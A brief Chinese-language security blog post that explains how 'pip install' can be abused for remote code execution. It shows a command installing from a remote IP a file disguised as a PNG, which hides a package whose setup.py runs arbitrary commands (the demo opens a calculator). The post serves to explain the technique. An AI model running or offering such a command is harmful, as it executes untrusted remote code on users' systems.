利用pip install进行RCE
pip是python的包管理系统,类似于npm, apt, homebrew等,当使用pip install安装需要的软件包时,会下载服务器上的项目文件并执行setup.py
比如执行以下命令会直接弹出计算器
1 | pip3 install http://39.107.138.71/calc.png |
正常的图片中隐藏了一个压缩包,而这个压缩包就是python包项目文件,其中的setup在执行就会执行任意命令
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 H4cking to the Gate .!
评论